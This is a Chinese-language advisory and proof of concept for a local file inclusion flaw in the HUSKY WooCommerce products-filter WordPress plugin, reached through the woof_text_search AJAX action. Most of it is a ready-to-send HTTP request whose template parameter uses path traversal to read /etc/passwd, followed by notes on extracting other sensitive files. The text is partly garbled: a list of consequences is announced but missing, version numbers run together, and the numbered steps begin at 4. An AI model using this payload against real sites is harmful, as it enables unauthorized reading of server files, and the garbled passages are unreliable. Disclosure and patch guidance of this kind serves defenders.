WordPress 的 HUSKY – Products Filter Professional for WooCommerce 插件在所有版本中(最高至 1.3.6.5,含该版本)存在 本地文件包含(LFI) 漏洞,该漏洞可通过 woof_text_search AJAX 动作的 template 参数触发。
该漏洞允许未认证的攻击者在服务器上包含并执行任意文件,可能导致以下后果:
<= 1.3.6.51.3.6.6请更新至 1.3.6.6 或更新的已修补版本。
POST /wp-admin/admin-ajax.php?template=../../../../../../../etc/passwd&value=a&min_symbols=1 HTTP/1.1
Host: TARGET_SITE_HERE
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: YOUR_SESSION_COOKIE_HERE
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
action=woof_text_search&
4. 如果成功,服务器将返回 /etc/passwd 的内容。
5. 这可被用于提取服务器上的其他敏感文件。
此 PoC 仅用于教育和研究目的。未经许可对系统进行未授权测试是非法且不道德的。在进行任何安全测试之前,请务必获得明确授权。